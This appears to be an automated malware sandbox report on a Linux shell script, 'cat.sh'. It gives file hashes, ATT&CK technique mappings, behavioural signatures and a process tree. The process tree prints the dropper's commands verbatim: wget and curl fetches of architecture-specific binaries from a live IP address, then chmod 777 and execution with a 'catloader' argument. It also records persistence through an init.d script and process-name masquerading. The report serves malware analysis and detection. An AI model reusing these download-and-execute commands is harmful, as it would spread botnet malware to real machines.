02afacab8fe2e07c68d28c74d94b1b0ad4e99d84bbf855f66f8f2a08247f52f3

Analysis

max time kernel
149s
max time network
147s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
07/10/2026, 07:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cat.sh
Size 1KB
Sample261007-jdl8pavw7m
SHA256 02afacab8fe2e07c68d28c74d94b1b0ad4e99d84bbf855f66f8f2a08247f52f3
MD5 7131b5008a7ef45a05eb27a62256ebb0
SHA1 75332c77a4818a4cd0a480d4311aabbd2f02a497
SHA512 c06c2041d2cb838abf623b5880232adf79623c52a344ebae96ff511acbb3384f67655db5b883591e2528ce7655666258aa1a37e656febf08de68075778df66c7
TLSH
T15E41428918B0E113E1D8CE01B0E1C7945266F58672F62EBEEDC92DAFE8D9D40B035B35
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1531	chmod
1546	chmod
1555	chmod
1561	chmod
1565	chmod
1508	chmod
1540	chmod
1573	chmod
1577	chmod
1581	chmod
1585	chmod
1488	chmod
1498	chmod
1515	chmod

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/x86_64	1489	cat.sh
/tmp/m68k	1509	cat.sh
/tmp/mips	1516	cat.sh
/tmp/mipsel	1532	cat.sh
/tmp/powerpc	1541	cat.sh
/tmp/sparc	1547	cat.sh
/tmp/sh4	1556	cat.sh
/tmp/arc	1562	cat.sh
/tmp/i486	1566	cat.sh
/tmp/armv4l	1574	cat.sh
/tmp/armv5l	1578	cat.sh
/tmp/armv6l	1582	cat.sh
/tmp/armv7l	1586	cat.sh

Enumerates running processes
Discovers information about currently running processes on the system

Modifies init.d 2 TTPs 2 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/init.d/xs.main	x86_64
File opened for modification	/etc/init.d/xs.main	i486

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	-sh	1492	x86_64
Changes the process name, possibly in an attempt to hide itself	-sh	1569	i486

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/202/cmdline	x86_64
File opened for reading	/proc/1022/status	i486
File opened for reading	/proc/650/comm	x86_64
File opened for reading	/proc/163/exe	x86_64
File opened for reading	/proc/1038/stat	x86_64
File opened for reading	/proc/1057/comm	i486
File opened for reading	/proc/2/comm	x86_64
File opened for reading	/proc/12/comm	x86_64
File opened for reading	/proc/166/comm	i486
File opened for reading	/proc/1078/comm	i486
File opened for reading	/proc/989/stat	x86_64
File opened for reading	/proc/1168/status	x86_64
File opened for reading	/proc/1255/cmdline	x86_64
File opened for reading	/proc/11/comm	i486
File opened for reading	/proc/1022/cmdline	i486
File opened for reading	/proc/1095/cmdline	i486
File opened for reading	/proc/163/cmdline	x86_64
File opened for reading	/proc/443/status	x86_64
File opened for reading	/proc/989/comm	i486
File opened for reading	/proc/928/stat	i486
File opened for reading	/proc/660/task/660/children	x86_64
File opened for reading	/proc/892/status	x86_64
File opened for reading	/proc/923/stat	i486
File opened for reading	/proc/533/status	x86_64
File opened for reading	/proc/1089/cmdline	x86_64
File opened for reading	/proc/31/cmdline	i486
File opened for reading	/proc/433/stat	i486
File opened for reading	/proc/1580/cmdline	i486
File opened for reading	/proc/1190/comm	x86_64
File opened for reading	/proc/693/status	x86_64
File opened for reading	/proc/1189/stat	x86_64
File opened for reading	/proc/1013/stat	i486
File opened for reading	/proc/1475/status	i486
File opened for reading	/proc/1048/cmdline	x86_64
File opened for reading	/proc/1257/cmdline	x86_64
File opened for reading	/proc/1262/stat	x86_64
File opened for reading	/proc/672/comm	i486
File opened for reading	/proc/923/comm	i486
File opened for reading	/proc/1446/comm	i486
File opened for reading	/proc/1078/status	i486
File opened for reading	/proc/173/status	x86_64
File opened for reading	/proc/1089/status	x86_64
File opened for reading	/proc/246/comm	i486
File opened for reading	/proc/1038/cmdline	i486
File opened for reading	/proc/6/status	x86_64
File opened for reading	/proc/84/cmdline	x86_64
File opened for reading	/proc/443/cmdline	x86_64
File opened for reading	/proc/496/cmdline	x86_64
File opened for reading	/proc/1257/status	x86_64
File opened for reading	/proc/1479/comm	i486
File opened for reading	/proc/79/stat	i486
File opened for reading	/proc/86/cmdline	i486
File opened for reading	/proc/324/comm	x86_64
File opened for reading	/proc/19/status	x86_64
File opened for reading	/proc/474/cmdline	x86_64
File opened for reading	/proc/666/task/666/children	x86_64
File opened for reading	/proc/1477/exe	x86_64
File opened for reading	/proc/1568/task/1568/children	i486
File opened for reading	/proc/161/status	x86_64
File opened for reading	/proc/650/cmdline	x86_64
File opened for reading	/proc/1018/cmdline	x86_64
File opened for reading	/proc/1523/status	x86_64
File opened for reading	/proc/1563/comm	x86_64
File opened for reading	/proc/1257/stat	i486

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1511	wget
1516	mips
1518	wget
1523	curl
1532	mipsel

Writes file to tmp directory 18 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/aarch64	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/mipsel	curl
File opened for modification	/tmp/aarch64	curl
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/sh4	wget
File opened for modification	/tmp/armv4l	wget
File opened for modification	/tmp/armv4l	curl
File opened for modification	/tmp/powerpc	wget
File opened for modification	/tmp/sparc	wget
File opened for modification	/tmp/i486	wget
File opened for modification	/tmp/armv5l	wget
File opened for modification	/tmp/armv6l	wget
File opened for modification	/tmp/mipsel	wget
File opened for modification	/tmp/sh4	curl
File opened for modification	/tmp/arc	wget
File opened for modification	/tmp/armv7l	wget

/tmp/cat.sh
/tmp/cat.sh
1⤵
- Executes dropped EXE
PID:1479
- /usr/bin/wget
  wget http://176.65.139.204/iran.x86_64 -O x86_64
  2⤵
  - Writes file to tmp directory
  PID:1480
- /bin/chmod
  chmod 777 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1488
- /tmp/x86_64
  ./x86_64 catloader
  2⤵
  - Modifies init.d
  - Changes its process name
  - Reads runtime system information
  PID:1489
- /usr/bin/wget
  wget http://176.65.139.204/iran.aarch64 -O aarch64
  2⤵
  - Writes file to tmp directory
  PID:1491
- /usr/bin/curl
  curl http://176.65.139.204/iran.aarch64 -o aarch64
  2⤵
  - Writes file to tmp directory
  PID:1497
- /bin/chmod
  chmod 777 aarch64
  2⤵
  - File and Directory Permissions Modification
  PID:1498
- /tmp/aarch64catloader
  ./aarch64catloader
  2⤵
  PID:1499
- /usr/bin/wget
  wget http://176.65.139.204/iran.m68k -O m68k
  2⤵
  - Writes file to tmp directory
  PID:1500
- /bin/chmod
  chmod 777 m68k
  2⤵
  - File and Directory Permissions Modification
  PID:1508
- /tmp/m68k
  ./m68k catloader
  2⤵
  PID:1509
- /usr/bin/wget
  wget http://176.65.139.204/iran.mips -O mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1511
- /bin/chmod
  chmod 777 mips
  2⤵
  - File and Directory Permissions Modification
  PID:1515
- /tmp/mips
  ./mips catloader
  2⤵
  - System Network Configuration Discovery
  PID:1516
- /usr/bin/wget
  wget http://176.65.139.204/iran.mipsel -O mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1518
- /usr/bin/curl
  curl http://176.65.139.204/iran.mipsel -o mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1523
- /bin/chmod
  chmod 777 mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/mipsel
  ./mipsel catloader
  2⤵
  - System Network Configuration Discovery
  PID:1532
- /usr/bin/wget
  wget http://176.65.139.204/iran.powerpc -O powerpc
  2⤵
  - Writes file to tmp directory
  PID:1534
- /bin/chmod
  chmod 777 powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:1540
- /tmp/powerpc
  ./powerpc catloader
  2⤵
  PID:1541
- /usr/bin/wget
  wget http://176.65.139.204/iran.sparc -O sparc
  2⤵
  - Writes file to tmp directory
  PID:1543
- /bin/chmod
  chmod 777 sparc
  2⤵
  - File and Directory Permissions Modification
  PID:1546
- /tmp/sparc
  ./sparc catloader
  2⤵
  PID:1547
- /usr/bin/wget
  wget http://176.65.139.204/iran.sh4 -O sh4
  2⤵
  - Writes file to tmp directory
  PID:1549
- /usr/bin/curl
  curl http://176.65.139.204/iran.sh4 -o sh4
  2⤵
  - Writes file to tmp directory
  PID:1550
- /bin/chmod
  chmod 777 sh4
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /tmp/sh4
  ./sh4 catloader
  2⤵
  PID:1556
- /usr/bin/wget
  wget http://176.65.139.204/iran.arc -O arc
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/chmod
  chmod 777 arc
  2⤵
  - File and Directory Permissions Modification
  PID:1561
- /tmp/arc
  ./arc catloader
  2⤵
  PID:1562
- /usr/bin/wget
  wget http://176.65.139.204/iran.i486 -O i486
  2⤵
  - Writes file to tmp directory
  PID:1564
- /bin/chmod
  chmod 777 i486
  2⤵
  - File and Directory Permissions Modification
  PID:1565
- /tmp/i486
  ./i486 catloader
  2⤵
  - Modifies init.d
  - Changes its process name
  - Reads runtime system information
  PID:1566
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv4l -O armv4l
  2⤵
  - Writes file to tmp directory
  PID:1568
- /usr/bin/curl
  curl http://176.65.139.204/iran.armv4l -o armv4l
  2⤵
  - Writes file to tmp directory
  PID:1572
- /bin/chmod
  chmod 777 armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:1573
- /tmp/armv4l
  ./armv4l catloader
  2⤵
  PID:1574
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv5l -O armv5l
  2⤵
  - Writes file to tmp directory
  PID:1576
- /bin/chmod
  chmod 777 armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1577
- /tmp/armv5l
  ./armv5l catloader
  2⤵
  PID:1578
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv6l -O armv6l
  2⤵
  - Writes file to tmp directory
  PID:1580
- /bin/chmod
  chmod 777 armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:1581
- /tmp/armv6l
  ./armv6l catloader
  2⤵
  PID:1582
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv7l -O armv7l
  2⤵
  - Writes file to tmp directory
  PID:1584
- /bin/chmod
  chmod 777 armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:1585
- /tmp/armv7l
  ./armv7l catloader
  2⤵
  PID:1586

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

xs.main

Path /etc/init.d/xs.main
Size 29B
SHA256 71b31b0b5e897c1c5d98d50da464a4938b237a6b5ba615976b6a8f6ace88e7f7
MD5 86006006a939093b279a9c337550a3d8
SHA1 dee4888747abe6aba27fcbd93200017dc78b274b
SHA512 3e11041db3132bef3f50aae7e24d84cf01b0416d30acb7406e71cbbed2f53527638ffc25edb5f04418236b40783a3a8c5ac998894e93db8a711d93d217f578e3
MD5 SHA1 SHA512

Submit Download

aarch64

Path /tmp/aarch64
Size 205KB
SHA256 8f4c0563e9fd8901e1c6282740685c4521b877bb0e2bdfd792510672e2b007c9
MD5 cabc0156e6ebeb0e9abb2926ca999311
SHA1 2df58cdc0b3d45fddb86a79dd5e13de5a3c743f8
SHA512 479d8fa32c3549984f4e12bbdf05973dd15f476fcf82290ff2c100082fad001a915d82af6d3bfbede3fc2f5c43584f2e1df375046c56e1e89e5c80fe8bf75838
SSDEEP 3072:MwS1OScpwRz0maXCvz9P+HyC37HbKG9P9nKMhSzboqN3y:vuOScKRz0mayvhPIyu7HWwnKbzboq
TLSH
T191246BA8BA0F6C01F2C3D3F8DE8C87E13A1735E3C7768971791212EDDAA39D95990512
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arc

Path /tmp/arc
Size 153KB
SHA256 45ac99a83d99879ba0cba10fce2f81f772f67e44ef3df726b4c074c2d7a5f230
MD5 852faedb0c41e199182939f654df20f4
SHA1 bf35efde7fae9705235bc2c86817874cd93dc9ba
SHA512 3cd17aabf01b0c4839395e1b8235d557749fb64aa1f9b7a80a2f78d1c430025bce23380e4a2e6f7034db82e60de3e5108da1856e369e2c2c1f22834cce710014
SSDEEP 3072:+xv5yfUhfN8RtoZnGhTNLhs7LTT+RCQX3XqbpygZCBrWOG4u5Ztq:+pEfUhfW3oMJLi7L+B3a9FCBrY4wtq
TLSH
T169F3AF67B34B5050C4E44AF41BCF5BAD292721008E7B99E77C6E723A6A775CB28073E1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

armv4l

Path /tmp/armv4l
Size 153KB
SHA256 209844df102aea0ebb0c185029f2eaf8f89e9309bfdc1127594b1761519f89a6
MD5 5ab2d2fc9951294d511ce3b633524ffe
SHA1 af8e5c65894cdce3cca110d96f9573941d6704a4
SHA512 b6b85d77934403a9c34f5c0eb29d4562bffff2d643adac947695de865097d991ae3f40eca2d0d13d66ca4474568e02a24a608e26bc329c2e96fe2098bf1f1efe
SSDEEP 3072:smpaNJnxpejYLmzYqNyB6wvk4JX1DRextqziQnS:smpaNJnxpejZVwB6wvxJX1teH+iQnS
TLSH
T1CBF30745BD518B16C6D262BBFF4D428C7B2A1768D3EE31039D295F60378B96B0E3B142
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

armv5l

Path /tmp/armv5l
Size 150KB
SHA256 7e47c19f82d8a932da2ec9bd42d7b815a05bf4be9ae0e512544fdbfce5f930b8
MD5 86821726e7ac79e6f6ae202498166a51
SHA1 4eda7fb07bce6ae74ee055e42f17c63e8347f263
SHA512 ef03c7988e804423342f70c89ce0a27987dd3d0120bf848140fa6db7ecf9c9d878ed9811ec39c6e3f7fde62c50bade8eb23a659325ffb46034954b4fa55b938d
SSDEEP 3072:3OtstuCDxzd93OBDZf9Qq94cZwiSXUtgKh8J7/8ZMEh+8:3+stuCDxzd9WFfDCcZwiAUtgKqJIZHhD
TLSH
T173E30845FC518B16C6C662BBFF4E428D772A5768D3EE320399256F20378B96B0E3B141
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

armv6l

Path /tmp/armv6l
Size 165KB
SHA256 b22e4c920695bb35526ff1173f8a8344190576228af1791d941c54ca60fc01e3
MD5 81034c4932e93dad81b0303d6f1d181e
SHA1 4aef02ee98f4e517cff80ece28b90c2a0caab841
SHA512 d84d228324a71b47e8ab4936c30c1cdd8cb4babd5fed04d2f3db2ca331333c2c6da3d393fb6cea01733d74e8c9302aa57e8441693ecd8db970965e4749d15cee
SSDEEP 3072:Oo0R0M1GwnMVyH8VMFU79wfmPtK93ura4hCG3yx67uk6nD2c62+hLz:Oo0R0M1GwnMVW+MFwCOPtU3oaKCMl7uu
TLSH
T1EEF31A56F9819B11C5C156BAFF0E528D73231B78E3DE72129E246B347B8A87B0E3B015
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

armv7l

Path /tmp/armv7l
Size 142KB
SHA256 6b2171ad66224954ed1845a46ea6aa8f047304957f3e8e514bdeee6abf5139e8
MD5 f8b45c0ff231a7bec1ff3a2dc4ea7b38
SHA1 51e386536b8d0311fef5e5d9d3a93301cc4395df
SHA512 a1ffba6d0e8ae807f215bc4082d1a4c662be7dabbe5b7e2804188016baad848bcd1aedf98dc2509e6909acd8b799f9345f25c45086f08c5a19c33729e76e57a2
SSDEEP 3072:6nZpD+/4jw0P0GmyvC/frevbzQpgMCa5bo0nIQc0r9vI2mmCULXJWcVq0:6nZpD+/4jw0PtfvCazzQvCalfnIQc0rJ
TLSH
T10FE30749ED42AB00D5D636FAFE4E428973535B6CE3FE71129E245B2127CA92B0F7B101
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i486

Path /tmp/i486
Size 98KB
SHA256 e09fe1bcfefb15f916979a7bb04a1a570ed999e2e751f7d80266502727e2b6b2
MD5 1b7b383a457eb3c0f8811ed4d52a0bf1
SHA1 0db3ade910d8a8d7ddd157e7f06f64bebc395e56
SHA512 8c0e2c32b65486408e737a571f121bb46ecc3602eb5eb5bdc4e0d7dca29a05d68e25737631e4faf49206ae1c596651b21fcbbe2e195b25361d669a047a34fc7b
SSDEEP 1536:rw1BTbdc0hDtZx6O/0c3Ra/oLDQ9VPJU3310vntiZvnwl7/4qKU7ysY7r:qq09tZxac3A/oLDYiClSCBY
TLSH
T15AA34C86FB93E0F0D94605B1111FF77D9634EE625024DE5AEBD4BEB2AD32602921B31C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

m68k

Path /tmp/m68k
Size 177KB
SHA256 6ace19d81500192e18a25f9b42068e116c20f541ae51f49a1ac2638605081963
MD5 224bee7695185602e54729e98bcb952c
SHA1 003ed343574769de532285fc08b5719c69c51035
SHA512 2d81fec63539e200c5b884cd7957628b8145864b3d5908e751edea1db78f46f7f6126b91e0d98a64b4c82af56362c2b44511fc3b89bd9233e11749d273ecd172
SSDEEP 3072:T1ThtmVqwyJ3XjRcirf200yvcKd34FSkGD52RVRf4grVpjbiNLEy5cKNKB:Fwgx4yvjd34F7GD8V4g2LLPNKB
TLSH
T1520429C7FD00DDBAF809E33748130809B130BBA254925A777257356FED3A295197BE8A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 204KB
SHA256 47ae5b0371a638ce7dddcbec7869fc6fa2e67e546bb1e814f19e87a518233461
MD5 2fcd9362dba6897f1cc497b5b0c45997
SHA1 63b33b09589101a34fddfde7b4fda44fd61e3f79
SHA512 092df53d6547d3432f02ee3fe57e2864339f7ea328baeca36798fa409e809de005e2f89e9c92fcf5317d3b12bb220de87b0a98e443518ea3d679075d594646f1
SSDEEP 3072:sPvQ7inW06qBVrDuQ5SPkCekMcJXs9op/rziTKom:sw7inW06I1DA81qJQ2/r4Kom
TLSH
T19024955E6A328F7DF368873447B74A35975D22D627E1DA84E2ACC1041F2434E681FFA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mipsel

Path /tmp/mipsel
Size 144KB
SHA256 6020e8fbecdcb9d05279ace96e27747e72d21012436fa8ac0ec6fa7fe027f62a
MD5 b8ffdc01af8cd3864027e7eb7693e423
SHA1 82fbad0d51265f083501b24090a336e586749f1d
SHA512 d055320dbf2f0905756ba77bdf2f763cf4f506f9c3e1cc57fd4f9c1287a09b977cef35e47cc14d3c9e9bf0fb5abdd5f0d180a80b56eac9adc5d467215ccca37c
SSDEEP 1536:4LXjRp2/GrNDrgCsgb9WOFRDHoC1DvcrsEg0Lv2vrzpFvkMUg0sua6COZt1r1DNG:PY/6gT7DbU28Mn0NawZ5aMBjvK
TLSH
T1B9E3A50A9F610FFBD8AFDE3741E90B0635CC690622A83F7A3674D924F54A54B49D3C68
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powerpc

Path /tmp/powerpc
Size 155KB
SHA256 4d980590fdc794458e66ecde82b683e0b2b057811de970befa53c8ccb5c44b05
MD5 2be8d6396c1563f1e61f8a8e6107581f
SHA1 c3dad37d3b2336e8b800d5a3f373d7604a97352b
SHA512 6b534af3d46614893d59a1ed2e133f004652239067a825965d857f09dddf5e0d2aeefb76acf418bb4687fe89e8b2908c5faad47d7d40496465091fb05a4a9882
SSDEEP 3072:0v9PHxzwpHQxWFrctE3u6LVFq3tpvx6GIW:01PHkQxArcmu6LV03XwGIW
TLSH
T1A5F33B06B30D0947E2672EF43B3B27D1D3DF9A9121F4E744251FAA8A9172D32158ADCE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sh4

Path /tmp/sh4
Size 138KB
SHA256 1bb4fbf5df215757d7a6b1f9601515ec4e12a41c4d695e17898793db2e5b38a8
MD5 83bc1d1c89bbf9995bce4f2cb58ed2bb
SHA1 8cad03474f2a12f1798f9c52ea2ce206d3d24b2d
SHA512 77766ed4c94f159365b075315529f86d2b1a2a229b39d5861e4f1ddf29a980e7dc384fbdc95da1b2e5cb8b2e24e4d3f31f1326387aef30a20665a3183bf39138
SSDEEP 3072:5WbCJEddQ29RHrmP71xmbdspxYNWtrcVhQTv5:5WRjQuRHrmjebmo4trkQD5
TLSH
T142D35BB3D825AF58C564E6B1B0318F781B939A6082471FBE19B7C6748087DCDF6163B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sparc

Path /tmp/sparc
Size 42KB
SHA256 95aff8f144f665a442574864787b4f7f81988631946e9a8405abc7cc1116cac5
MD5 42709e8fa9d67494d2dd8135a9e26b8a
SHA1 323e07180bc82779e4850536e8dccea1ef394954
SHA512 05f845c0814fbb4f5111137830e20d748f3a303a84af617407b2da5b9f328a9f2a315bd45b0e826ed9fe3512811bab3ea173365b2bca7d0a14ded0327f8a0ef9
SSDEEP 768:t6jQLYeiLEKRBTMjONrElzbFjUDK1JviVIoX4M+DoIwS3ZhP3XRcqPbM+svy:BEbMjOU1hKIoDI9JhPnmqL
TLSH
T15B135D328679491BC2C0E77B11A79372E0F62B845190974F7E5A0D8EFE5A340677B3E2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86_64

Path /tmp/x86_64
Size 160KB
SHA256 7bd6aa495ec7595c0576d069e8274e2372f218b6e79ee71c9100cf5c541b24ed
MD5 b5644a585e5a60a66f4fee4ba04b7a80
SHA1 7ee327a4dafc6acddade26bc5238aa60d6cccae0
SHA512 e96ce97902f79c1cb786b8219be73c61109d14c3452f16a394723d470b7bb4599aa58b7c382cc3ad108623c363e0c360510a5be7a7b9e7d963b2649072af5f5d
SSDEEP 3072:wQUpH4VklB1Amd10qb8ODAhv4y1jFg+SVKKE:wZpfYOB25dHKE
TLSH
T165F35B0274D0D4FEC8E5C2B84BEFE136DA32B4595174761F23C8AE262E5DF212B6D650
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads